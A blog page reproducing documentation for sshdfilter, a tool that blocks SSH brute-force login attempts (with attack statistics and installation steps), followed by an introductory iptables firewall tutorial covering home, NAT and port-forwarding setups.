    Taking some statistics from my logs before sshdfilter was implemented, the longest attempt from a single IP was half an hour long, trying around 1 username/password pair per second. Over 26 days there were attacks from 42 unique IPs, none of them ever came back after the attempt. Picking the oldest 10 of these attacks, they had 347, 306, 115, 115, 127, 18, 554, 107, 9, 52 failed(!) password attempts. Of these 1750 attempts, 720 were for root - making a good case for blocking password authentication of the root account.

    With sshdfilter installed, taking each attack on a case by case basis:
    347 attempts becomes 0 attempts - first attemped guess was for a non-existant user, so was instantly blocked.
    306 attempts becomes 0 attempts - same reason, non-existant user.
    115 attempts becomes 1 attempt - first guess was for root and is allowed a default of 3 chances, the second guess was for a non-existant user and so was blocked anyway.
    115 attempts becomes 1 attempt - same as previous.
    127 attempts becomes 3 attempts - many initial guesses for root account, so sshdfilter blocks after the first 3 failed attempts.
    18 attempts becomes 0 attempts - first attempted guess was for a non-existant user, so was blocked instantly.
    554 attempts becomes 3 attempts - many initial guesses for root accont, so sshdfilter blocks after the first 3 failed attempts.
    107 attempts becomes 1 attempt - first guess was for a valid user (nobody), second guess was for a non-existant user so was blocked.
    9 attempts becomes 0 attempts - first guess was for a non-existant user so was blocked instantly.
    52 attempts becomes 3 attempts - many initial guesses for root accont, so sshdfilter blocks after the first 3 failed attempts.

    Summerising, of these 10 sample attacks, 1750 attempts, 720 were for root, 1013 were for illegal accounts, the rest were for existing accounts. Using only user name gusses alone, sshdfilter would have blocked 1729 of these. In fact, until the authors of the brute force attacks improve their code and send an ssh id string, sshdfilter would actually have blocked 1744 attempts, allowing only 6 guesses of the root account over an average of 6 days. Had password based root access been banned, even these six would have been futile.

    Right now sshdfilter works with Debian 3.1, Redhat 7.3 to 9.0, Fedora Core 2-4, CentOS, Suse 10.0 RC 1, RedHat Enterprise Linux 4 and gentoo, Mandriva, and the many derivatives. Each distribution uses different logging messages, so sshdfilter needs a pattern list for the target system. Patterns are supplied for RedHat 7.3 and 9.0 systems, RedHat Fedora Core 3 systems, Suse 10.0 RC 1 and Debian 3.1 (sarge, stable) systems, the other distributions use patterns based on these 4. There is also support for Dropbear, a light weight ssh server.

    Download

    The really old stable version can be found here(V1.3.5).

    The stable version can be found here(V1.4.5).

    The web page for the testing version (V1.5.x) can be found here - if the previous versions aren't flexible enough for you, this version will be.

    sshdfilter has been ported to Dropbear, and is available here(V1.4.3.2-dropbear). Dropbear is a light weight sshd server.

    For a comparison, the changlog is below, and continues into 1.5.x here.

    Installation (for <=sshdfilter 1.4.x)

    This was written with common Linux distributions in mind, and so expects to find perl, the iptables command and support syslog style logging.

    Add iptables chain with (/etc/sysconfig/iptables style):
    :SSHD - [0:0]
    or bash:
    iptables -N SSHD

    Add a jump to SSHD rule with something like:
    -A INPUT -p tcp -m tcp --dport 22 -j SSHD
    or bash:
    iptables -I INPUT -p tcp -m tcp --dport 22 -j SSHD

    This is only an example, I've no idea how you set up your iptables. Generally you'll have a line that ACCEPTS ssh(port 22), and the above should go on the line before. Notice I've used -I on the second example, which adds to the start of the chain instead of the end. The -I has more chance of working when added to a running system. The command:
    iptables -L INPUT -vn
    should show something like:
    ----
    Chain INPUT (policy ACCEPT 22M packets, 1901M bytes)
    pkts bytes target prot opt in out source destination
    .... various site specific rules deleted
    366 22424 SSHD tcp -- eth1 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
    138 9940 ACCEPT tcp -- eth1 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
    .... various site specific rules deleted
    47996 3742K DROP all -- eth1 * 0.0.0.0/0 0.0.0.0/0 state INVALID,NEW
    ---
    Where the last rule blocks all new connections that haven't been ACCEPTed in the past, ie, a statefull rule.

    This is only an example, I've no idea how you set up your iptables. Generally you'll have a line that ACCEPTS ssh(port 22), and the above should go on the line before. Some systems (notably Suse) use custom firewall scripts, see README.suse for contributed instructions.

    You will also need to modify your startup script so that sshdfilter is run instead of sshd. sshdfilter will then itself run sshd. sshdfilter V1.4.x will daemonise, so you can run sshdfilter like you'ed run sshd. A sample RedHat style startup script is in the tar file, note only one line has changed from the distribution supplied default.

    sshd log messages vary across distributions, so you need to install the correct sshdfilter executable for your sshd. Several are provided, supporting Debian 3.1, Redhat 7.3 to 9.0, Fedora Core 2-4, CentOS, Suse 10.0 RC 1, RedHat Enterprise Linux 4, and the many other distros based on these. If your log messages are too different you can also add your own using those provided as an example.

    Copy etc/sshdfilterrc to /etc/ and edit to suit your requirements. You may want to uncomment and properly set $interface, which allows for only blocking (say) the external interface - so even triggering sshdfilter into blocking won't actually do anything if you are ssh'ing from the inside/via VPN.

    LogWatch

    sshdfilter comes with a LogWatch script that understands sshdfilter output. You need a recent (6.1.x) version of LogWatch to use these LogWatch scripts. sshd logging works as it used to, sshdfilter always logs sshd output regardless of it triggering sshdfilter to do some action. The LogWatch scripts consist of two files, you also need to add 'sshdfilt' to /etc/log.d/conf/services/secure.conf (or similar, try 'grep "sshd " /etc/log.d/conf' to find mentions of sshd, sshdfilt should be there too), to tell the 'secure' parser script about sshdfilter - so the 'secure' parser can ignore sshdfilter messages.

    Note the scripts expect to find LogWatch version 6.1.x, anything else and you will have to modify the script. That includes later versions.

    http://www.csc.liv.ac.uk/~greg/sshdfilter/index_14.html


    Firewalling With Netfilter/Iptables

    jbrown 17 February, 2008 11:40 Linux Permalink Trackbacks (0)

    Firewalling with netfilter/iptables

    By Barry O'Donovan
    barry@ihl.ucd.ie
    http://www.barryodonovan.com

    Introduction

    iptables is Linux's firewall which has been a part of the kernel since version 2.4. It is often referred to as a packet filter as it examines each packet transferred in every network connection to, from and within your computer. iptables replaced ipchains in the 2.4 kernel and added many new features including connection tracking (also known as stateful packet filtering). In this article we will use iptables to build simple but effective firewalls for the following scenarios using allow/disallow rules based on IP addresses, ports and states:

    1. a standard home computer;
    2. a home/small office network with a single internet connection;
    3. port forwarding for a home/small office network.

    Rules, Targets, Chains, Tables, States and all that jazz

    iptables makes decisions on what to do with a packet based on rules that the system administrator creates. Data is passed through the internet in the form of packets of information; connecting from your computer to a website will cause many packets to be exchanged in both directions. A rule specifies the criteria necessary for a packet to match it. A decision is known as a target and it can be a user-defined chain (not covered in this article) or one of the following:

    ACCEPT
    Allow the packet through the firewall.
    DROP
    Drops the packet; the packet is not allowed through the firewall and the sender of the packet is not notified.
    There a number of other possible targets and we will cover some of these later.

    Rules are grouped into chains which in turn are contained in tables. There are three default tables which the packets may traverse; we are only concerned with one of these right now: the filter table. This is the default table and contains three chains:

    OUTPUT
    For packets generated by and leaving your computer; for example when you connected to the Linux Gazette's web site your browser created a packet and sent it out of your computer to the Gazette's server.
    INPUT
    Any packets coming into your computer; for example the packets containing the Gazette's web page sent back by its server to your browser.
    FORWARD
    For packets being routed through your computer; for example entering one network card and leaving through the other. We will cover this in more detail later.

    The two other tables available by default are the nat table and the mangle table; we will use nat later for setting up a home network when only one network connection is available.

    As I mentioned in the introduction, iptables is capable of stateful packet filtering. This means that we can create rules not only based on IPs and ports but also on whether a packet exists in any of the following states:

    NEW
    The packet is trying to start a new connection; for example when you first connected to the Linux Gazette website your browser attempted to create a new connection with the Gazette's web server.
    ESTABLISHED
    A connection that has seen packets travel in both directions; once the Gazette's web server replied to your browser the connection is established.
    RELATED
    A packet that is starting a new connection but is related to an existing connection. An example of this is downloading a file over FTP. When you first connect to an FTP server you are creating a new connection to its FTP port. However, when you download a file from the FTP server using this connection a second new connection is made between your computer and the FTP server for the file download. Although it is a new connection it is related to the first. This stateful packet filtering is useful as this new connection does not use the FTP port and simple port based rules are not appropriate for this.
    INVALID
    This packet is associated with no known connection. These packets should be dropped.

    Creating and Storing Rules

    Rules can be appended to the chains directly by using the iptables command. For example, to add a new rule to allow new connections to a web server running on your computer from anywhere we would execute the following:

    $ iptables -A INPUT -s 0/0 -d 1.2.3.4 -m state --state NEW -p tcp --dport 80 -i eth0 -j ACCEPT
    
    where:
    -s (or --src or --source) and -d (or --dst or --destination)
    is the source and destination specification of the packet. It is usually an IP address with an optional mask. 0/0 is shorthand for 0.0.0.0/0.0.0.0 meaning that the source can be any IP address. 1.2.3.4 is the IP our your machine and is equivalent to writing 1.2.3.4/32 or 1.2.3.4/255.255.255.255 meaning the destination must be this and only this IP. Other examples include:
    1.2.3.0/24Any IP in the range 1.2.3.0 to 1.2.3.255 (256 possible IPs). Could also have been written as 1.2.3.0/255.255.255.0
    1.2.0.0/16Any IP in the range 1.2.0.0 to 1.2.255.255 (65536 possible IPs). Could also have been written as 1.2.0.0/255.255.0.0
    ! 1.2.3.0/24The exclamation mark inverts the match so this will result is a match if the IP is anything except one in the given range 1.2.3.0 to 1.2.3.255.
    -m state --state NEW
    matches only packets that have a status of NEW. This can be anyone of or a comma separated list of the four possible states.
    -p tcp
    apply this rule to packets using the TCP protocol only. This can be anyone of tcp, udp, icmp or all (default). The exclamation mark can be used to invert the match.
    --dport 80 (or --destination-port)
    matches a packet trying to connect to port 80. The exclamation mark can be used to invert this match also. A range of ports can be given in the format begin:end.
    -i eth0 (or --in-interface eth0)
    name of an interface via which a packet is going to be received. Possible interfaces on your computer can be found using the command 'ifconfig'. In this example your computer is connected to the internet through the first (or only) ethernet card.
    -j ACCEPT
    the target. In this case, if the incoming packet is creating a new TCP connection from anywhere to port 80 on your computer through the first ethernet card, we will allow it through.

    Note that in all of the following examples I am assuming that your computer is connected to the internet through an ethernet card. Change eth0 for wifi0, ppp0, etc, as appropriate for your computer. Furthermore I'm assuming that your computer's IP address is 1.2.3.4.

    Obviously we do not want to set up the firewall manually everytime we boot the computer. Most Linux distributions will give you the option of having these rules loaded automatically at boot from a file; in fact most distributions will come with a preconfigured firewall as standard. The location of this file will vary from distribution to distribution but it should be easily found by executing 'locate iptables'. For RedHat or Fedora Core users it can be found at /etc/sysconfig/iptables.

    The essential elements of this file are:
    (I have added the line numbers for explanation - they should not appear in a file intended for use with iptables):

    1 # Firewall configuration
    2 *filter
    3 :INPUT <target> [0:0]
    4 :FORWARD <target> [0:0]
    5 :OUTPUT <target> [0:0]
    6
    7 # your rules here
    8 
    9 COMMIT
    Listing 1 - The essential elements of an iptables file

    Line 2 of this file tells iptables that the following rules apply to the filter table. The next three lines (3-5) define the default targets for the three chains. We place our rules after these and before COMMIT, which does just that; commits our rules to the firewall.

    Each packet traverses the rules of the appropriate chain from the first to the last. If a packet matches a rule then it stops traversing the chain at that rule and its fate is decided by that rule's target. If the packet does not match any rule then its fate is the default target of its chain.

    I would recommend using the following skeleton configuration for all your firewalls:

     1 *filter
     2 :INPUT DROP [0:0]
     3 :FORWARD DROP [0:0]
     4 :OUTPUT ACCEPT [0:0]
     5
     6 # allow local loopback connections
     7 -A INPUT -i lo -j ACCEPT
     8
     9 # drop INVALID connections
    10 -A INPUT   -m state --state INVALID -j DROP
    11 -A OUTPUT  -m state --state INVALID -j DROP
    12 -A FORWARD -m state --state INVALID -j DROP
    13
    14 # allow all established and related
    15 -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    16 
    17 # add anymore rules here
    18
    19 COMMIT
    Listing 2 - Reccommended skeleton configuration

    I've set the default target for the INPUT and FORWARD chains to DROP, while allowing all outgoing connections (lines 2-4). On a standard server or home computer we should not be routing any packets as standard (we will later and we will look at this in more detail then). Any outgoing connections will come from our computer and we can generally assume that they are not a security problem. In contrast, all incoming packets should be treated as a security risk unless we have explicitly allowed them.

    Line 7 tells iptables to allow all connections originating from the local loopback network interface. This is used by many applications to connect to local services and you must permit these connections. Lines 10-12 drop all connections with a state of INVALID.

    Line 15 should be self explanatory - it allows all incoming established or related connections through the firewall. For a connection to become established or related it must first have had a state of NEW and have been allowed though the firewall via a matching rule (had it not been allowed through it would have been dropped by default and could not result in an established or related connection).

    Scenario 1: Standard Home Computer

    For the standard user using his/her home computer for internet browsing, e-mail, etc then the above firewall is all that is needed as it allows all connections out while preventing any connections that are not related.

    For a more paranoid user that wants to control and log all outgoing connections we might use a firewall configuration such as the following:

     1 *filter
     2 :INPUT DROP [0:0]
     3 :FORWARD DROP [0:0]
     4 :OUTPUT DROP [0:0]
     5
     6 # allow local loopback connections
     7 -A INPUT -i lo -j ACCEPT
     8
     9 # drop INVALID connections
    10 -A INPUT   -m state --state INVALID -j DROP
    11 -A OUTPUT  -m state --state INVALID -j DROP
    12 -A FORWARD -m state --state INVALID -j DROP
    13 
    14 # allow all established and related
    15 -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    16 -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    17
    18 # allow connections to my ISP's DNS servers
    19 -A OUTPUT -d 2.3.4.10 -m state --state NEW -p udp --dport 53 -o eth0 -j ACCEPT
    20 -A OUTPUT -d 2.3.4.11 -m state --state NEW -p udp --dport 53 -o eth0 -j ACCEPT
    21
    22 # allow outgoing connections to web servers
    23 -A OUTPUT -d 0/0 -m state --state NEW -p tcp --dport http -o eth0 -j ACCEPT
    24 -A OUTPUT        -m state --state NEW -p tcp --dport https -o eth0 -j ACCEPT
    25
    26 # allow outgoing mail connections to my ISP's SMTP and POP3 server only
    27 -A OUTPUT -d 2.3.4.5 -m state --state NEW -p tcp --dport smtp -o eth0 -j ACCEPT
    28 -A OUTPUT -d 2.3.4.5 -m state --state NEW -p tcp --dport pop3 -o eth0 -j ACCEPT
    29
    30 # log all other attempted out going connections
    31 -A OUTPUT -o eth0 -j LOG
    32 # default is to DROP out-going connections
    33 
    34 COMMIT
    Listing 3 - Paranoid home user

    This configuration denies all connections by default and only allows those we explicitly define rules for. Line 16 adds a second rule based on the established or related rules for outgoing connections. Just as with line 15, this is necessary as the default rule of the OUTPUT chain is DROP. Also note that when we specifying the interface for the OUTPUT chain rules we use -o (or --out-interface) as opposed to -i.

    The first rules we have added (lines 19 and 20) are to allow outgoing connections to your ISP's DNS server; I am assuming your ISP has a primary and a secondary DNS server with IPs 2.3.4.10 and 2.3.4.11 respectively. These connections are essential so your computer can convert a domain name (such as www.linuxgazette.net) into its IP address; without that conversion we would not be able to connect to the website. DNS lookups are usually done via the UDP protocol. Unless you are doing anything out of the ordinary this should be sufficient.

    The next two rules (lines 23 and 24) allow your internet browser to connect to any website using both the normal and the encrypted protocols. You'll notice that I have used http and https to specify the ports here instead of 80 and 443. This makes the rules more readable and you can substitute the service name for any port so long as it appears in the file /etc/services. You should also notice that in the second rule I omitted the destination IP mask; this is equivalent to writing "match any destination IP" (-d 0/0). Lastly, I could have turned these two rules into one using:
    -A OUTPUT -m state --state NEW -p tcp -m multiport --dport http,https -o eth0 -j ACCEPT

    Another standard operation that a home computer would be used for is e-mailing. E-mailing requires two services: SMTP to send mail and POP3 (or IMAP in some cases) to receive mail. I have added a rule for each of these (lines 27 and 28) where I am assuming that your ISP uses the same server for both (2.3.4.5). In most cases your ISP will not give you the IPs of its mail servers, but instead their domain names; e.g. mail.my-isp.com. We can rewrite these rules using this as follows:
    -A OUTPUT -d mail.my-isp.com -m state --state NEW -p tcp --dport smtp -o eth0 -j ACCEPT
    -A OUTPUT -d mail.my-isp.com -m state --state NEW -p tcp --dport pop3 -o eth0 -j ACCEPT

    It is generally a better idea to use IPs wherever possible.

    The final rule has a target we have not come across yet: the LOG target. This logs the details of a matching packet. You can review the log with the dmesg command or via syslogd. Some distributions have a utility called logwatch which will format these reports into an e-mail sent to the root account. The LOG target is a non-terminating target; the packet will continue traversing the chain. So in the above example we log all outgoing packets that have not matched one of the rules, that packet continues traversing the chain and as there are no other rules, the default target for the OUTPUT chain is used (DROP).

    If you use any other services, such as Jabber, IRC, file sharing clients, etc, you will have to add rules for these also. Just follow the above example. If you don't know what ports to open and you can't find it in /etc/services, then add a logging rule at the beginning of the rules, e.g.
    -A OUTPUT -i eth0 -j LOG
    and examine the output of the command dmesg (look for the destination port, DPT=???). I also feel I should mention that filtering the OUTPUT chain in this manner can be quite problematic; you might find some programs hanging or freezing while they try and establish connections you never thought of allowing, or using the UDP protocol instead of the TCP, etc. Unless you really want or need to lock the OUTPUT chain down, it might be just as easy to set the default rule to ACCEPT and then block the outgoing connections on a case by case basis.

    Scenario 2: Home Network with a Single Connection

    Most home users and small offices connect to the internet via a single dial-up, ISDN or broadband (DSL) connection. This scenario covers the problem: "I only have a single network connection, but I would like all my computers to have internet access. How is this possible?" The examples in this scenario will enable you to set up a home or office network using your networked computer as a gateway for your other computers.

    Home Network - Scenario 2
    Figure 1 - Author's Home Network

    My own situation is depicted in Figure 1; I have a single broadband connection with a static IP address (1.2.3.4) connected to eth0. My second ethernet card (eth1) is a wireless PCI card. In my home there are two laptops, each also with wireless cards built in.

    The first issue is that every computer on the internet needs to be uniquely identifiable by an IP address. Irrespective of whether you have a dial-up or a broadband connection, you will only have been assigned one IP address. This can either be static (some broadband ISPs will allocate you a single IP that will not change) or dynamic (you will be assigned different IPs every time you reconnect to the network). When you send out a packet it includes the destination address and the source address. Although we can send a packet with any source address, only replies to ones with your source address will return to you.

    Now we must assign an IP to every network interface on the network. In the case of eth0, it was assigned by my ISP. But what IPs will we give the wireless interface and the laptops? ICANN (Internet Corporation For Assigned Names and Numbers) has assigned certain blocks of IPs for use in private networks. One of these blocks is given by the IP mask 192.168.0.0/255.255.0.0. Which IPs of this set you choose to use is entirely up to you. As you can see from Figure 1, I have assigned 192.168.0.1 to my wireless PCI card, and 192.168.0.2 and 192.168.0.3 to the laptops.

    The nat (network address translation) table of iptables allows us to use one IP address for many different computers and works as follows: if the first laptop tries to connect to a website it sends a packet with the source address of 192.168.0.2 to eth1 of the networked computer. The networked computer will then forward this packet from eth1 to eth0. Just before the packet is transmitted, the nat table will change the source address from 192.168.0.2 to 1.2.3.4. iptables will automatically remember that it did this and when the reply packets arrive with a destination of 1.2.3.4 and change it to 192.168.0.2, routing it through eth1 to the laptop.

    Let's begin with the firewall configuration:

     1 *filter
     2 :INPUT DROP [0:0]
     3 :FORWARD DROP [0:0]
     4 :OUTPUT DROP [0:0]
     5
     6 # allow local loopback connections
     7 -A INPUT -i lo -j ACCEPT
     8 
     9 # drop INVALID connections
    10 -A INPUT   -m state --state INVALID -j DROP
    11 -A OUTPUT  -m state --state INVALID -j DROP
    12 -A FORWARD -m state --state INVALID -j DROP
    13
    14 # allow all established and related
    15 -A INPUT   -m state --state ESTABLISHED,RELATED -j ACCEPT
    16 -A OUTPUT  -m state --state ESTABLISHED,RELATED -j ACCEPT
    17 -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
    18 
    19 # allow connections to my ISP's DNS servers
    20 -A OUTPUT  -d 2.3.4.10 -m state --state NEW -p udp --dport 53 -o eth0 -j ACCEPT
    21 -A OUTPUT  -d 2.3.4.11 -m state --state NEW -p udp --dport 53 -o eth0 -j ACCEPT
    22 -A FORWARD -d 2.3.4.10 -m state --state NEW -p udp --dport 53 -i eth1 -o eth0 -j ACCEPT
    23 -A FORWARD -d 2.3.4.11 -m state --state NEW -p udp --dport 53 -i eth1 -o eth0 -j ACCEPT
    24 
    25 # allow outgoing connections to web servers
    26 -A OUTPUT  -d 0/0 -m state --state NEW -p tcp -m multiport --dport http,https -o eth0 -j ACCEPT
    27 -A FORWARD -d 0/0 -m state --state NEW -p tcp -m multiport --dport http,https -o eth0 -i eth1 -j ACCEPT
    28 
    29 # allow outgoing mail connections to my ISP's SMTP and POP3 server only
    30 -A OUTPUT  -d mail.my-isp.com -m state --state NEW -p tcp -m multiport --dport smtp,pop3 -o eth0 -j ACCEPT
    31 -A FORWARD -d mail.my-isp.com -m state --state NEW -p tcp -m multiport --dport smtp,pop3 -o eth0 -j ACCEPT
    32
    33 # log all other attempted out going connections
    34 -A OUTPUT -o eth0 -j LOG
    35 -A FORWARD -j LOG
    36 # default is to DROP out-going connections
    37 
    38 COMMIT
    39 
    40 *nat
    41 
    42 # set up IP forwarding and nat
    43 -A POSTROUTING -o eth0 -j SNAT --to 1.2.3.4
    44 
    45 COMMIT
    Listing 4 - Home/office network with NAT

    As well as demonstrating NAT, this example also introduces the use of the FORWARD chain. The networked computer is now also working as a router; as well an nat-ing the packets from the laptops, it is also routing them from eth1 to eth0 and vice-versa. As such we have adding another ESTABLISHED,RELATED rule on line 17, this time for the FORWARD chain.

    Similarly, on lines 22,23,27,31 and 35, I have added in lines to allow the same connections we were allowing previously to come from the FORWARD chain. However, there is one big security risk here: I have not specified any source address. Anyone within range of the wireless network can assume an unused IP and use your broadband connection. We would prevent this by changing line 27, for example, to:
    -A FORWARD -s 192.168.0.2 -d 0/0 -m state --state NEW -p tcp -m multiport --dport http,https -o eth0 -i eth1 -j ACCEPT
    -A FORWARD -s 192.168.0.3 -d 0/0 -m state --state NEW -p tcp -m multiport --dport http,https -o eth0 -i eth1 -j ACCEPT
    and similarly for the rest of the rules.

    The iptables NAT-ing magic happens in the nat table with one rule:
    -A POSTROUTING -o eth0 -j SNAT --to 1.2.3.4 It's as simple as that! Almost. IP forwarding is disabled in the kernel by default and you must execute the following to turn it on:
    $ echo 1 > /proc/sys/net/ipv4/ip_forward
    You can place this line in the iptables startup scripts (usually /etc/rc.d/init.d/iptables) or, preferably, in the /etc/rc.d/rc.local script which is the last script executed during startup.

    What if you are using a dynamic IP? Simply change line 43 to:
    -A POSTROUTING -o eth0 -j MASQUERADE
    This is a special case where the source IP of the outgoing packets are changed to the IP of the outgoing interface; i.e. the IP of eth0. This can be used for a static IP as well but you are advised to use the appropriate version for your set-up.

    Using the wireless network as depicted will also require setting the essid and mode parameters of the wireless card. The essid is simply a one-word name for the wireless network. The mode in this example will be Ad-Hoc as opposed to Managed (usually the default) as the network cards are communicating directly as opposed to using a base station. These settings can usually be configured with the following commands:
    $ iwconfig eth1 essid barry_home
    $ iwconfig eth1 mode Ad-Hoc

    (replacing eth1 for eth0, wifi0, etc as appropriate.

    This scenario will work just as well if your set-up is a more typical small office set-up as depicted in Figure 2.

    Office network (non-wireless)
    Figure 2 - Typical small office network

    In this case the networked computer is connected to a port on the switch or hub through eth1, and all other office computers are each connected to one of the other ports. The exact same firewall configuration as that in Listing 4 can be used.

    Required network settings for this configuration

    To be able to access the internet using NAT a number of network configuration settings are required by each computer; the DNS server(s) IP address(es), the gateway IP, subnet mask and an IP address. For the networked computer these will all be supplied by the ISP; let's assume that the ISP provided the following:

    IP address:1.2.3.4
    Subnet mask:255.255.255.192
    Primary DNS:2.3.4.10
    Secondary DNS:2.3.4.11
    Gateway2.3.4.1

    The settings for each of the computers using NAT will then be:

    IP address:192.168.0.???
    Subnet mask:255.255.255.0
    Primary DNS:2.3.4.10
    Secondary DNS:2.3.4.11
    Gateway192.168.0.1

    Note that the gateway for the NAT-ed computers is the second network interface of the networked computer.

    Scenario 3: Port forwarding

    For the last scenario, let us imagine that instead of hosting your web server on the firewall machine you want to host it on one of the others, say 192.168.0.3. Let us also assume that you're using the Jakarta Tomcat web server which listens on port 8080 by default. Can we use iptables to forward all requests from the firewall to the web server, and to forward all the responses back through the firewall to the originating request? Absolutely and, again, we can do it through the magic that is NAT.

    Port forwarding
    Figure 3 - Port forwarding

    There are two types of NAT; source NAT (SNAT) and destination NAT (DNAT). Scenario 2 used SNAT where we altered the source address of the packets coming from our internal network. This scenario will use DNAT to change the destination address of packets coming into our networked machine from the internet.

    This can be accomplished by adding one simple line (44) to our firewall:

    40 *nat
    41 
    42 # set up IP forwarding and nat
    43 -A POSTROUTING -o eth0 -j SNAT --to 1.2.3.4
    44 -A PREROUTING -i eth0 -p tcp -d 1.2.3.4 --dport 80 -j DNAT --to 192.168.0.3:8080
    45
    46 COMMIT
    Listing 5 - Port forwarding

    Ensure you have enabled the kernel's IP forwarding when using the nat table. Now all connections originally bound for port 80 on our networked machine will be forwarded to port 8080 of 192.168.0.3.

    Last Remarks

    One type of connection we did not cover was 'pings'. If you are running a server it is generally a good idea to allow echo-requests pings through the firewall using the following rule:
    -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
    You can use the -s option to limit the source IPs that are allowed to ping your machine.

    Lastly, a common misconception among many people is that a firewall is "the last line of defence". It is not. It is only the first line of defense in what should be a properly secured, configured and up-to-date machine.

    Community Disclaimer

    This article is intended as introduction to iptables with practical and useful examples. It is nothing more and nothing less.


    1 2 3  Next»

    Powered by LifeType
    © 2006 - Design by Omar Romero (all rights reserved)